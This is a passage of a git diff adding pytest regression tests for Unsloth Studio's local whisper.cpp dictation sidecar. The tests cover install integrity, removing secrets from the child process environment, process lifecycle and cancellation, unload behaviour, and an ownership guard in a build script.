+    names = ["libggml.so.0", "libggml-base.so.0"]
+    binary = _slim_install(tmp_path, with_ggml = True, linked_libraries = names)
+    packaging_marker = Path(binary).parent / "UNSLOTH_WHISPER_PREBUILT_INFO.json"
+    packaging_marker.write_text(json.dumps({"backend": "slim", "release_tag": "packaging"}))
+    assert ggml_module._whisper_install_marker(binary)["install_kind"] == "slim"
+    assert ggml_module.slim_runtime_intact(binary) is True
+
+
+def test_slim_guard_rejects_invalid_root_even_with_inner_marker(tmp_path):
+    binary = _slim_install(tmp_path, with_ggml = True, linked_libraries = ["libggml.so.0"])
+    root_marker = Path(binary).parents[2] / "UNSLOTH_WHISPER_PREBUILT_INFO.json"
+    root_marker.write_text("not json")
+    (Path(binary).parent / root_marker.name).write_text(json.dumps({"backend": "slim"}))
+    assert ggml_module.slim_runtime_intact(binary) is False
+
+
+def test_slim_guard_rejects_missing_rocm_catalog(tmp_path):
+    names = ["libggml.so.0", "libggml-base.so.0", "libggml-hip.so"]
+    binary = _slim_install(
+        tmp_path,
+        linked_libraries = names,
+        backend = "rocm",
+        linked_runtime_directories = ["hipblaslt", "rocblas"],
+        runtime_wiring_version = 2,
+    )
+    bin_dir = Path(binary).parent
+    (bin_dir / "libggml-hip.so").write_bytes(b"ggml")
+    assert ggml_module.slim_runtime_intact(binary) is True
+    (bin_dir / "rocblas" / "kernel.dat").unlink()
+    assert ggml_module.slim_runtime_intact(binary) is False
+
+
+def test_slim_guard_accepts_windows_rocm_dll_overlay(monkeypatch, tmp_path):
+    monkeypatch.setattr(ggml_module.sys, "platform", "win32")
+    names = ["ggml.dll", "ggml-base.dll", "ggml-hip.dll", "amdhip64.dll"]
+    binary = _slim_install(
+        tmp_path,
+        linked_libraries = names,
+        backend = "rocm",
+        linked_runtime_directories = [],
+        runtime_wiring_version = 2,
+    )
+    for name in names:
+        (Path(binary).parent / name).write_bytes(b"dll")
+    assert ggml_module.slim_runtime_intact(binary) is True
+
+
+def test_slim_guard_ignores_fat_and_markerless_installs(tmp_path):
+    # Fat installs carry their own ggml; no marker means source/custom build.
+    fat = _slim_install(tmp_path / "fat", install_kind = None, with_ggml = False)
+    assert ggml_module.slim_runtime_intact(fat) is True
+    bare = tmp_path / "bare" / "whisper-server"
+    bare.parent.mkdir(parents = True)
+    bare.write_text("#!/bin/sh\n")
+    assert ggml_module.slim_runtime_intact(str(bare)) is True
+
+
+# ---------------------------------------------------------------------------
+# whisper-server child-process environment
+# ---------------------------------------------------------------------------
+
+
+def _loader_path_var() -> str:
+    return {"win32": "PATH", "darwin": "DYLD_LIBRARY_PATH"}.get(sys.platform, "LD_LIBRARY_PATH")
+
+
+def test_child_env_scrubs_secrets_and_adds_lib_dir(monkeypatch, tmp_path):
+    monkeypatch.setenv("HF_TOKEN", "secret-token")  # exact name
+    monkeypatch.setenv("MY_API_KEY", "nope")  # marker substring
+    monkeypatch.setenv("HTTPS_PROXY", "http://u:p@px:8080")  # url-name
+    monkeypatch.setenv("SOME_REMOTE", "https://u:pw@host/repo")  # url-userinfo value
+    monkeypatch.setenv("STT_KEEPME", "keep")  # benign
+    binary = tmp_path / "whisper-server"
+    binary.write_text("#!/bin/sh\n")
+    env = ggml_module._whisper_server_child_env(str(binary))
+    for scrubbed in ("HF_TOKEN", "MY_API_KEY", "HTTPS_PROXY", "SOME_REMOTE"):
+        assert scrubbed not in env
+    assert env.get("STT_KEEPME") == "keep"
+    assert str(tmp_path.resolve()) in env[_loader_path_var()].split(os.pathsep)
+
+
+def test_child_env_isolates_home_and_cred_locations(monkeypatch, tmp_path):
+    # The downloaded server must not see the real home (token caches live
+    # there) nor explicit cred-store pointers like HF_HOME / NETRC.
+    monkeypatch.setenv("HOME", "/real/home")
+    monkeypatch.setenv("HF_HOME", "/real/hf")
+    monkeypatch.setenv("NETRC", "/real/.netrc")
+    monkeypatch.setattr(ggml_module, "_managed_whisper_cpp_dir", lambda: tmp_path / "managed")
+    binary = tmp_path / "whisper-server"
+    binary.write_text("#!/bin/sh\n")
+    env = ggml_module._whisper_server_child_env(str(binary))
+    assert env["HOME"] == str(tmp_path / "managed" / ".child_home")
+    assert "HF_HOME" not in env
+    assert "NETRC" not in env
+    assert (tmp_path / "managed" / ".child_home").is_dir()
+
+
+def test_child_env_wsl_rocm_prepends_system_hip(monkeypatch, tmp_path):
+    if sys.platform != "linux":
+        pytest.skip("WSL ROCm library precedence is Linux-only")
+    rocm = tmp_path / "rocm-lib"
+    rocm.mkdir()
+    bindir = tmp_path / "bin"
+    bindir.mkdir()
+    binary = bindir / "whisper-server"
+    binary.write_text("#!/bin/sh\n")
+    monkeypatch.setattr(ggml_module, "_wsl_system_rocm_lib_dirs", lambda: [str(rocm)])
+    env = ggml_module._whisper_server_child_env(str(binary))
+    parts = env["LD_LIBRARY_PATH"].split(os.pathsep)
+    assert parts[0] == str(rocm.resolve())  # system HIP wins
+    assert str(bindir.resolve()) in parts  # bundle libs still present
+    assert env.get("HSA_ENABLE_DXG_DETECTION") == "1"
+
+
+def test_child_env_adds_cuda_runtime_dirs_for_cuda_bundle(monkeypatch, tmp_path):
+    # Versioned CUDA backend modules are valid too. They still need the
+    # CUDA-from-PyTorch wheel dirs for libcudart/libcublas at launch.
+    if sys.platform == "darwin":
+        pytest.skip("no CUDA on macOS")
+    import utils.prebuilt.runtime_libs as rl
+
+    bindir = tmp_path / "bin"
+    bindir.mkdir()
+    (bindir / "whisper-server").write_text("#!/bin/sh\n")
+    module_name = "ggml-cuda.dll" if sys.platform == "win32" else "libggml-cuda.so.0"
+    (bindir / module_name).write_text("")
+    cuda_dir = tmp_path / "nvidia" / "cuda_runtime" / "lib"
+    cuda_dir.mkdir(parents = True)
+    monkeypatch.setattr(rl, "python_runtime_dirs", lambda: [str(cuda_dir)])
+    env = ggml_module._whisper_server_child_env(str(bindir / "whisper-server"))
+    parts = env[_loader_path_var()].split(os.pathsep)
+    assert str(bindir.resolve()) in parts
+    assert str(cuda_dir.resolve()) in parts
+    assert parts.index(str(bindir.resolve())) < parts.index(str(cuda_dir.resolve()))
+
+
+def test_child_env_omits_cuda_runtime_dirs_for_cpu_bundle(monkeypatch, tmp_path):
+    # No libggml-cuda.so beside the binary -> a static CPU/Metal bundle -> the CUDA
+    # wheel discovery must not run and must not touch the loader path.
+    if sys.platform == "darwin":
+        pytest.skip("no CUDA on macOS")
+    import utils.prebuilt.runtime_libs as rl
+
+    bindir = tmp_path / "bin"
+    bindir.mkdir()
+    (bindir / "whisper-server").write_text("#!/bin/sh\n")
+    cuda_dir = tmp_path / "nvidia" / "cuda_runtime" / "lib"
+    cuda_dir.mkdir(parents = True)
+    called = {"n": 0}
+
+    def _fake_dirs():
+        called["n"] += 1
+        return [str(cuda_dir)]
+
+    monkeypatch.setattr(rl, "python_runtime_dirs", _fake_dirs)
+    env = ggml_module._whisper_server_child_env(str(bindir / "whisper-server"))
+    parts = env[_loader_path_var()].split(os.pathsep)
+    assert str(cuda_dir.resolve()) not in parts
+    assert called["n"] == 0
+
+
+def test_engine_unavailable_is_stt_unavailable():
+    # Routes map SttUnavailableError to HTTP 501; the engine error must share it.
+    assert issubclass(SttEngineUnavailableError, SttUnavailableError)
+
+
+# ---------------------------------------------------------------------------
+# WAV packaging
+# ---------------------------------------------------------------------------
+
+
+def test_pcm_to_wav_bytes_shape_and_rate():
+    pcm = np.zeros(3200, dtype = np.float32)
+    data = ggml_module._pcm_to_wav_bytes(pcm)
+    with wave.open(io.BytesIO(data)) as w:
+        assert w.getnchannels() == 1
+        assert w.getsampwidth() == 2
+        assert w.getframerate() == 16000
+        assert w.getnframes() == 3200
+
+
+def test_pcm_to_wav_bytes_clips_out_of_range():
+    pcm = np.array([2.0, -2.0], dtype = np.float32)
+    data = ggml_module._pcm_to_wav_bytes(pcm)
+    with wave.open(io.BytesIO(data)) as w:
+        frames = np.frombuffer(w.readframes(2), dtype = "<i2")
+    assert frames[0] == 32767
+    assert frames[1] == -32767
+
+
+# ---------------------------------------------------------------------------
+# Sidecar orchestration
+# ---------------------------------------------------------------------------
+
+
+def _available(monkeypatch):
+    monkeypatch.setattr(ggml_module, "find_whisper_server_binary", lambda: "/bin/echo")
+
+
+def test_transcribe_requires_engine(monkeypatch):
+    monkeypatch.setattr(ggml_module, "find_whisper_server_binary", lambda: None)
+    sidecar = GgmlSttSidecar()
+    with pytest.raises(SttEngineUnavailableError):
+        sidecar.transcribe(b"RIFF")
+
+
+def test_transcribe_rejects_unknown_language(monkeypatch):
+    _available(monkeypatch)
+    sidecar = GgmlSttSidecar()
+    with pytest.raises(SttLanguageError):
+        sidecar.transcribe(b"RIFF", model = "small", language = "xx-QQ")
+
+
+def test_load_requires_downloaded_model(monkeypatch):
+    _available(monkeypatch)
+    monkeypatch.setattr(ggml_module, "_cached_model_path", lambda model_id: None)
+    sidecar = GgmlSttSidecar()
+    with pytest.raises(SttModelNotDownloadedError):
+        sidecar.load("small")
+
+
+def test_unloaded_sidecar_reports_nothing_resident():
+    sidecar = GgmlSttSidecar()
+    assert sidecar.loaded_model is None
+    assert sidecar.device is None
+    assert sidecar.is_loading() is False
+    sidecar.unload()  # no-op, must not raise
+
+
+def test_update_maintenance_unloads_and_blocks_new_loads(monkeypatch):
+    class FakeProcess:
+        pid = 4242
+
+        def __init__(self):
+            self.running = True
+
+        def poll(self):
+            return None if self.running else 0
+
+        def terminate(self):
+            self.running = False
+
+        def wait(self, timeout = None):
+            return 0
+
+    monkeypatch.setattr(ggml_module, "forget_pid", lambda _pid: None)
+    sidecar = GgmlSttSidecar()
+    sidecar._process = FakeProcess()
+    sidecar._model_id = "small"
+
+    with sidecar.update_maintenance() as model_was_active:
+        assert model_was_active is True
+        assert sidecar.loaded_model is None
+        with pytest.raises(SttEngineUnavailableError, match = "being updated"):
+            sidecar.load("small")
+
+    assert sidecar._update_in_progress is False
+
+
+def test_server_pid_is_tracked_for_parent_lifetime(monkeypatch):
+    # The spawned server must be adopted for the terminate_all backstop and
+    # forgotten once this sidecar has reaped it.
+    _available(monkeypatch)
+    monkeypatch.setattr(ggml_module, "_cached_model_path", lambda model_id: "/tmp/ggml.bin")
+
+    class FakeProcess:
+        pid = 4242
+
+        def __init__(self, *args, **kwargs):
+            self.terminated = False
+
+        def poll(self):
+            return 1 if self.terminated else None
+
+        def terminate(self):
+            self.terminated = True
+
+        def wait(self, timeout = None):
+            return 0
+
+    events = []
+    monkeypatch.setattr(ggml_module.subprocess, "Popen", FakeProcess)
+    monkeypatch.setattr(ggml_module, "adopt_pid", lambda pid: events.append(("adopt", pid)))
+    monkeypatch.setattr(ggml_module, "forget_pid", lambda pid: events.append(("forget", pid)))
+    monkeypatch.setattr(
+        GgmlSttSidecar,
+        "_wait_for_server",
+        staticmethod(lambda process, port, cancel_event = None: None),
+    )
+
+    sidecar = GgmlSttSidecar()
+    sidecar.load("small")
+    assert events == [("adopt", 4242)]
+    sidecar.unload()
+    assert events == [("adopt", 4242), ("forget", 4242)]
+
+
+def test_training_forces_whisper_server_off_gpu(monkeypatch):
+    # Mirror the Transformers sidecar: keep whisper.cpp on CPU during training
+    # so a mid-training dictation cannot reclaim the VRAM training just freed.
+    _available(monkeypatch)
+    monkeypatch.setattr(ggml_module, "_cached_model_path", lambda model_id: "/tmp/ggml.bin")
+    commands: list[list[str]] = []
+
+    class FakeProcess:
+        pid = 4242
+
+        def __init__(self, command, *args, **kwargs):
+            commands.append(command)
+
+        def poll(self):
+            return None
+
+        def terminate(self):
+            pass
+
+        def wait(self, timeout = None):
+            return 0
+
+    monkeypatch.setattr(ggml_module.subprocess, "Popen", FakeProcess)
+    monkeypatch.setattr(ggml_module, "adopt_pid", lambda pid: None)
+    monkeypatch.setattr(ggml_module, "forget_pid", lambda pid: None)
+    monkeypatch.setattr(
+        GgmlSttSidecar,
+        "_wait_for_server",
+        staticmethod(lambda process, port, cancel_event = None: None),
+    )
+
+    monkeypatch.setattr(ggml_module, "_training_active", lambda: False)
+    idle = GgmlSttSidecar()
+    idle.load("small")
+    assert "--no-gpu" not in commands[0]
+    assert idle.is_loading() is False
+    idle.unload()
+
+    monkeypatch.setattr(ggml_module, "_training_active", lambda: True)
+    training = GgmlSttSidecar()
+    training.load("small")
+    assert "--no-gpu" in commands[1]
+    training.unload()
+
+
+def test_cpu_root_marker_forces_no_gpu_despite_inner_packaging_marker(monkeypatch, tmp_path):
+    names = ["libggml.so.0", "libggml-base.so.0"]
+    binary = _slim_install(tmp_path, with_ggml = True, linked_libraries = names)
+    (Path(binary).parent / "UNSLOTH_WHISPER_PREBUILT_INFO.json").write_text(
+        json.dumps({"backend": "slim"})
+    )
+    monkeypatch.setattr(ggml_module, "find_whisper_server_binary", lambda: binary)
+    monkeypatch.setattr(ggml_module, "_cached_model_path", lambda model_id: "/tmp/ggml.bin")
+    commands: list[list[str]] = []
+
+    class FakeProcess:
+        pid = 4244
+
+        def __init__(self, command, *args, **kwargs):
+            commands.append(command)
+
+        def poll(self):
+            return None
+
+        def terminate(self):
+            pass
+
+        def wait(self, timeout = None):
+            return 0
+
+    monkeypatch.setattr(ggml_module.subprocess, "Popen", FakeProcess)
+    monkeypatch.setattr(ggml_module, "adopt_pid", lambda pid: None)
+    monkeypatch.setattr(ggml_module, "forget_pid", lambda pid: None)
+    monkeypatch.setattr(ggml_module, "_training_active", lambda: False)
+    monkeypatch.setattr(
+        GgmlSttSidecar,
+        "_wait_for_server",
+        staticmethod(lambda process, port, cancel_event = None: None),
+    )
+
+    sidecar = GgmlSttSidecar()
+    sidecar.load("small")
+    assert "--no-gpu" in commands[0]
+    sidecar.unload()
+
+
+def test_startup_is_cancellable_before_training(monkeypatch):
+    # A whisper-server still binding its (Metal/CUDA) backend must be preemptible
+    # so training coordination can stop it before admitting the run, instead of
+    # racing an allocating subprocess.
+    _available(monkeypatch)
+    monkeypatch.setattr(ggml_module, "_cached_model_path", lambda model_id: "/tmp/ggml.bin")
+
+    class FakeProcess:
+        pid = 4243
+
+        def __init__(self, *args, **kwargs):
+            self.terminated = False
+            self.killed = False
+
+        def poll(self):
+            return -15 if (self.terminated or self.killed) else None
+
+        def terminate(self):
+            self.terminated = True
+
+        def kill(self):
+            self.killed = True
+
+        def wait(self, timeout = None):
+            return 0
+
+    monkeypatch.setattr(ggml_module.subprocess, "Popen", FakeProcess)
+    monkeypatch.setattr(ggml_module, "adopt_pid", lambda pid: None)
+    monkeypatch.setattr(ggml_module, "forget_pid", lambda pid: None)
+
+    # The server never reports ready, so _wait_for_server loops until cancelled.
+    def never_ready(req, timeout = None):
+        raise OSError("connection refused")
+
+    monkeypatch.setattr(ggml_module.urllib.request, "urlopen", never_ready)
+
+    sidecar = GgmlSttSidecar()
+    result: dict = {}
+
+    def _load():
+        try:
+            sidecar.load("small")
+            result["ok"] = True
+        except Exception as exc:  # noqa: BLE001 - recorded for the assertion below
+            result["error"] = exc
+
+    thread = threading.Thread(target = _load)
+    thread.start()
+    try:
+        deadline = time.monotonic() + 5
+        while time.monotonic() < deadline and not sidecar.is_loading():
+            time.sleep(0.01)
+        assert sidecar.is_loading() is True
+        assert sidecar.cancel_pending_load() is True
+        # Blocks until the cancelled startup has been reaped and the lock freed.
+        sidecar.wait_for_load_to_settle()
+    finally:
+        thread.join(timeout = 5)
+
+    assert thread.is_alive() is False
+    assert isinstance(result.get("error"), SttLoadCancelledError)
+    assert sidecar.is_loading() is False
+    assert sidecar.loaded_model is None
+
+
+class _FakeWhisperHandler(http.server.BaseHTTPRequestHandler):
+    """Stands in for whisper-server's /inference endpoint."""
+
+    response_text = "Hello world.\n Second line."
+
+    def do_POST(self):
+        length = int(self.headers.get("Content-Length", "0"))
+        self.rfile.read(length)
+        body = json.dumps({"text": self.response_text}).encode()
+        self.send_response(200)
+        self.send_header("Content-Type", "application/json")
+        self.send_header("Content-Length", str(len(body)))
+        self.end_headers()
+        self.wfile.write(body)
+
+    def log_message(self, *args):
+        pass
+
+
+@pytest.fixture()
+def fake_whisper_server():
+    server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), _FakeWhisperHandler)
+    thread = threading.Thread(target = server.serve_forever, daemon = True)
+    thread.start()
+    yield server.server_address[1]
+    server.shutdown()
+
+
+def test_transcribe_joins_segments_one_line(monkeypatch, fake_whisper_server):
+    _available(monkeypatch)
+    monkeypatch.setattr(ggml_module, "_cached_model_path", lambda model_id: "/tmp/ggml.bin")
+    sidecar = GgmlSttSidecar()
+
+    def fake_load(model = None):
+        sidecar._port = fake_whisper_server
+        sidecar._model_id = ggml_module.resolve_ggml_model_id(model)
+
+    monkeypatch.setattr(sidecar, "load", fake_load)
+    result = sidecar.transcribe(b"RIFF", model = "small", language = "en", fast = True)
+    assert result["text"] == "Hello world. Second line."
+    assert result["language"] == "en"
+    assert result["model"] == "small"
+    assert result["duration"] == pytest.approx(1.0)
+
+
+def test_transcribe_maps_bad_payload_to_decode_error(monkeypatch, fake_whisper_server):
+    _available(monkeypatch)
+    monkeypatch.setattr(ggml_module, "_cached_model_path", lambda model_id: "/tmp/ggml.bin")
+    monkeypatch.setattr(_FakeWhisperHandler, "response_text", None)
+    sidecar = GgmlSttSidecar()
+
+    def fake_load(model = None):
+        sidecar._port = fake_whisper_server
+        sidecar._model_id = ggml_module.resolve_ggml_model_id(model)
+
+    monkeypatch.setattr(sidecar, "load", fake_load)
+    from core.inference.stt_sidecar import SttAudioDecodeError
+
+    with pytest.raises(SttAudioDecodeError):
+        sidecar.transcribe(b"RIFF", model = "small")
+
+
+def test_beam_size_matches_fast_flag(monkeypatch, fake_whisper_server):
+    _available(monkeypatch)
+    monkeypatch.setattr(ggml_module, "_cached_model_path", lambda model_id: "/tmp/ggml.bin")
+    seen: list[bytes] = []
+
+    orig_post = _FakeWhisperHandler.do_POST
+
+    def capture_post(handler):
+        length = int(handler.headers.get("Content-Length", "0"))
+        body = handler.rfile.read(length)
+        seen.append(body)
+        payload = json.dumps({"text": "ok"}).encode()
+        handler.send_response(200)
+        handler.send_header("Content-Type", "application/json")
+        handler.send_header("Content-Length", str(len(payload)))
+        handler.end_headers()
+        handler.wfile.write(payload)
+
+    monkeypatch.setattr(_FakeWhisperHandler, "do_POST", capture_post)
+    try:
+        sidecar = GgmlSttSidecar()
+
+        def fake_load(model = None):
+            sidecar._port = fake_whisper_server
+            sidecar._model_id = ggml_module.resolve_ggml_model_id(model)
+
+        monkeypatch.setattr(sidecar, "load", fake_load)
+        sidecar.transcribe(b"RIFF", model = "small", fast = True)
+        sidecar.transcribe(b"RIFF", model = "small", fast = False)
+    finally:
+        _FakeWhisperHandler.do_POST = orig_post
+    assert b'name="beam_size"\r\n\r\n1' in seen[0]
+    assert b'name="beam_size"\r\n\r\n5' in seen[1]
+    # Dictation defaults to deterministic decoding.
+    assert b'name="temperature"\r\n\r\n0.0' in seen[0]
+
+
+def test_download_rejects_custom_ids():
+    with pytest.raises(SttModelIdError):
+        ggml_module.start_model_download("owner/model")
+
+
+def test_download_status_idle_shape():
+    status = ggml_module.download_status()
+    assert set(status) >= {"downloading", "model", "error"}
diff --git a/studio/backend/tests/test_stt_review_fixes.py b/studio/backend/tests/test_stt_review_fixes.py
new file mode 100644
index 0000000000..e4495506a3
--- /dev/null
+++ b/studio/backend/tests/test_stt_review_fixes.py
@@ -0,0 +1,219 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regressions for a fresh review pass on the local STT dictation feature:
+
+1. Curated GGUF dictation repos (unslothai/whisper-*-GGUF) must be hidden from
+   chat pickers, not just their Transformers safetensors companions.
+2. The GGUF sidecar's loaded_model/device status accessors must be lock-free so
+   they never block behind an in-flight transcription (which holds self._lock).
+3. A "gguf" unload on a host without whisper-server must target the Transformers
+   fallback that actually served it, and unload-all must attempt both backends
+   even if one raises.
+4. free_stt_model_for_training must free the GGUF sidecar even when the
+   Transformers unload raises (independent exception boundaries).
+"""
+
+from __future__ import annotations
+
+import asyncio
+import sys
+import threading
+from pathlib import Path
+
+import pytest
+from fastapi import HTTPException
+
+_BACKEND_ROOT = Path(__file__).resolve().parents[1]
+if str(_BACKEND_ROOT) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_ROOT))
+
+
+# 1. Hidden-model GGUF companions ------------------------------------------------
+def test_curated_gguf_dictation_repos_are_hidden():
+    from utils.hidden_models import _HIDDEN_STT_REPO_IDS, is_hidden_model
+    for repo in (
+        "unslothai/whisper-tiny-GGUF",
+        "unslothai/whisper-base-GGUF",
+        "unslothai/whisper-small-GGUF",
+        "unslothai/whisper-large-v3-turbo-GGUF",
+        "unslothai/whisper-large-v3-GGUF",
+    ):
+        assert repo in _HIDDEN_STT_REPO_IDS
+        assert is_hidden_model(repo) is True
+        # Case-insensitive, matching how the cache stores the repo id.
+        assert is_hidden_model(repo.lower()) is True
+
+    # A same-prefix but genuinely different repo is NOT hidden.
+    assert is_hidden_model("unslothai/whisper-large-v3-GGUF-finetune") is False
+
+
+# 2. GGUF status accessors are lock-free ----------------------------------------
+def test_gguf_status_accessors_do_not_block_on_the_inference_lock():
+    from core.inference.stt_ggml_sidecar import GgmlSttSidecar
+
+    sidecar = GgmlSttSidecar()
+
+    class _AliveProc:
+        pid = 4321
+
+        def poll(self):
+            return None  # still running
+
+    sidecar._process = _AliveProc()
+    sidecar._model_id = "small"
+
+    holder_has_lock = threading.Event()
+    release = threading.Event()
+
+    def _hold_inference_lock():
+        # Mimic transcribe() holding self._lock across the whole HTTP call.
+        with sidecar._lock:
+            holder_has_lock.set()
+            release.wait(timeout = 5)
+
+    holder = threading.Thread(target = _hold_inference_lock)
+    holder.start()
+    assert holder_has_lock.wait(timeout = 5)
+
+    result: dict = {}
+
+    def _read_status():
+        result["model"] = sidecar.loaded_model
+        result["device"] = sidecar.device
+
+    reader = threading.Thread(target = _read_status)
+    reader.start()
+    reader.join(timeout = 2)
+    blocked = reader.is_alive()
+
+    release.set()
+    holder.join(timeout = 5)
+    reader.join(timeout = 5)
+
+    assert not blocked, "loaded_model/device blocked on self._lock (should be lock-free)"
+    assert result == {"model": "small", "device": "whisper.cpp"}
+
+
+def test_process_alive_snapshots_process_against_concurrent_unload():
+    # _process_alive() must read self._process exactly once. The lock-free
+    # readers (loaded_model/device) can run while unload() nulls self._process;
+    # the old `self._process is not None and self._process.poll() is None` read it
+    # twice, so a null landing between the two reads called None.poll(). A
+    # property that yields the live process on the first read and None afterwards
+    # reproduces that interleaving deterministically.
+    from core.inference.stt_ggml_sidecar import GgmlSttSidecar
+
+    class _AliveProc:
+        def poll(self):
+            return None  # still running
+
+    live = _AliveProc()
+    reads = {"n": 0}
+
+    class _RacingSidecar(GgmlSttSidecar):
+        @property
+        def _process(self):
+            reads["n"] += 1
+            return live if reads["n"] == 1 else None
+
+        @_process.setter
+        def _process(self, value):
+            pass  # __init__ assigns None; the property drives the read
+
+    sidecar = GgmlSttSidecar()
+    sidecar.__class__ = _RacingSidecar  # data descriptor wins over the instance attr
+
+    # Snapshot fix: exactly one read, no AttributeError from a second None read.
+    assert sidecar._process_alive() is True
+    assert reads["n"] == 1
+
+
+# 3. Unload resolves through the serving engine + attempts every backend ---------
+def test_gguf_unload_targets_transformers_fallback_without_whisper_server(monkeypatch):
+    import core.inference.stt_ggml_sidecar as ggml_module
+    import routes.inference as ri
+
+    monkeypatch.setattr(ggml_module, "is_available", lambda: False)  # no whisper-server
+
+    calls: list = []
+
+    class _Sidecar:
+        def __init__(self, name):
+            self.name = name
+
+        def unload(self):
+            calls.append(self.name)
+
+    monkeypatch.setattr(ri, "_stt_sidecar_for", lambda name: _Sidecar(name))
+
+    resp = asyncio.run(ri.stt_unload(engine = "gguf", current_subject = "tester"))
+    assert resp.status_code == 200
+    # gguf is served by the Transformers fallback here, so that is what unloads.
+    assert calls == ["transformers"]
+
+
+def test_unload_all_attempts_both_backends_even_when_one_fails(monkeypatch):
+    import routes.inference as ri
+
+    attempted: list = []
+
+    class _Sidecar:
+        def __init__(self, name):
+            self.name = name
+
+        def unload(self):
+            attempted.append(self.name)
+            if self.name == "transformers":
+                raise RuntimeError("boom")
+
+    monkeypatch.setattr(ri, "_stt_sidecar_for", lambda name: _Sidecar(name))
+
+    with pytest.raises(HTTPException) as excinfo:
+        asyncio.run(ri.stt_unload(engine = None, current_subject = "tester"))
+
+    assert excinfo.value.status_code == 500
+    # gguf is still attempted after the transformers unload raised.
+    assert attempted == ["transformers", "gguf"]
+
+
+# 4. free_stt_model_for_training isolates the two backends -----------------------
+def test_free_stt_frees_gguf_even_when_transformers_unload_raises(monkeypatch):
+    import routes.training_vram as tv
+
+    class _TransformersSidecar:
+        def is_loading(self):
+            return False
+
+        @property
+        def loaded_model(self):
+            return "whisper-small"
+
+        def unload(self):
+            raise RuntimeError("transformers unload failed")
+
+    class _GgmlSidecar:
+        def __init__(self):
+            self.unloaded = False
+
+        def is_loading(self):
+            return False
+
+        @property
+        def loaded_model(self):
+            return None if self.unloaded else "small"
+
+        def unload(self):
+            self.unloaded = True
+
+    ggml = _GgmlSidecar()
+    monkeypatch.setattr(
+        "core.inference.stt_sidecar.get_stt_sidecar", lambda: _TransformersSidecar()
+    )
+    monkeypatch.setattr("core.inference.stt_ggml_sidecar.get_ggml_stt_sidecar", lambda: ggml)
+
+    freed = tv.free_stt_model_for_training("test")
+
+    # The Transformers failure must not skip GGUF eviction.
+    assert ggml.unloaded is True
+    assert any("small" in entry for entry in freed)
diff --git a/studio/backend/tests/test_stt_review_fixes_2.py b/studio/backend/tests/test_stt_review_fixes_2.py
new file mode 100644
index 0000000000..f0bdab42b5
--- /dev/null
+++ b/studio/backend/tests/test_stt_review_fixes_2.py
@@ -0,0 +1,350 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regressions for the second review pass on the local STT dictation feature:
+
+1. scripts/build_whisper_cpp.sh must not rm -rf a whisper.cpp/src tree under a
+   custom Studio home unless Studio itself created it (ownership marker), the
+   same policy studio/setup.sh applies before its destructive replacements.
+2. _snapshot_is_complete must reject pickle (pytorch_model.bin) checkpoints
+   outright; only safetensors weights count as a usable snapshot.
+3. _snapshot_is_complete must require tokenizer assets (tokenizer.json or
+   vocab.json + merges.txt); weights + config alone decode to blank text.
+4. Custom-repo downloads must pin the revision validated beforehand and
+   restrict snapshot_download to the model/tokenizer/config/preprocessor file
+   classes (TOCTOU + unbounded-download hardening).
+5. The GGML sidecar's readiness probe must not treat an arbitrary local HTTP
+   responder as whisper-server (mic audio would be posted to it), and the port
+   reservation must stay held until just before spawn.
+"""
+
+from __future__ import annotations
+
+import http.server
+import json
+import os
+import socket
+import stat
+import subprocess
+import sys
+import threading
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+_BACKEND_ROOT = Path(__file__).resolve().parents[1]
+if str(_BACKEND_ROOT) not in sys.path:
+    sys.path.insert(0, str(_BACKEND_ROOT))
+
+import core.inference.stt_ggml_sidecar as ggml_module
+import core.inference.stt_sidecar as stt_sidecar_module
+from core.inference.stt_ggml_sidecar import GgmlSttSidecar, SttEngineUnavailableError
+from core.inference.stt_sidecar import validate_remote_model
+
+_BUILD_SCRIPT = _BACKEND_ROOT.parents[1] / "scripts" / "build_whisper_cpp.sh"
+
+
+# 1. build_whisper_cpp.sh ownership gate ----------------------------------------
+
+
+def _stub_tools(tmp_path: Path) -> dict:
+    """PATH with git/cmake stubs so the script never reaches a real build."""
+    bin_dir = tmp_path / "stub-bin"
+    bin_dir.mkdir(exist_ok = True)
+    for tool in ("git", "cmake"):
+        stub = bin_dir / tool
+        stub.write_text("#!/bin/sh\necho stub-%s-invoked >&2\nexit 1\n" % tool)
+        stub.chmod(stub.stat().st_mode | stat.S_IEXEC)
+    env = dict(os.environ)
+    env["PATH"] = f"{bin_dir}:{env['PATH']}"
+    return env
+
+
+def _run_build_script(env: dict) -> subprocess.CompletedProcess:
+    return subprocess.run(
+        ["sh", str(_BUILD_SCRIPT)],
+        env = env,
+        capture_output = True,
+        text = True,
+        timeout = 60,
+    )
+
+
+def test_build_script_refuses_unowned_dir_in_custom_studio_home(tmp_path):
+    home = tmp_path / "studio-home"
+    src = home / "whisper.cpp" / "src"
+    src.mkdir(parents = True)
+    user_file = src / "user-data.txt"
+    user_file.write_text("precious")
+
+    env = _stub_tools(tmp_path)
+    env["UNSLOTH_STUDIO_HOME"] = str(home)
+    result = _run_build_script(env)
+
+    assert result.returncode != 0
+    assert "not marked as an Unsloth-owned" in result.stderr
+    # The unowned tree, and the user's file inside it, survived untouched.
+    assert user_file.read_text() == "precious"
+
+
+def test_build_script_proceeds_when_marker_present(tmp_path):
+    home = tmp_path / "studio-home"
+    install = home / "whisper.cpp"
+    (install / "src").mkdir(parents = True)
+    (install / ".unsloth-studio-owned").write_text("")
+
+    env = _stub_tools(tmp_path)
+    env["UNSLOTH_STUDIO_HOME"] = str(home)
+    result = _run_build_script(env)
+
+    # Past the guard: it fails later at the stubbed git clone, not the gate.
+    assert "not marked as an Unsloth-owned" not in result.stderr
+    assert "stub-git-invoked" in result.stderr
+
+
+def test_build_script_marks_fresh_custom_install_dir(tmp_path):
+    home = tmp_path / "studio-home"
+    home.mkdir()
+
+    env = _stub_tools(tmp_path)
+    env["UNSLOTH_STUDIO_HOME"] = str(home)
+    _run_build_script(env)
+
+    # A directory the script creates is marked so re-runs stay allowed.
+    assert (home / "whisper.cpp" / ".unsloth-studio-owned").is_file()
+
+
+def test_build_script_keeps_legacy_home_behavior(tmp_path):
+    fake_home = tmp_path / "user-home"
+    src = fake_home / ".unsloth" / "whisper.cpp" / "src"
+    src.mkdir(parents = True)
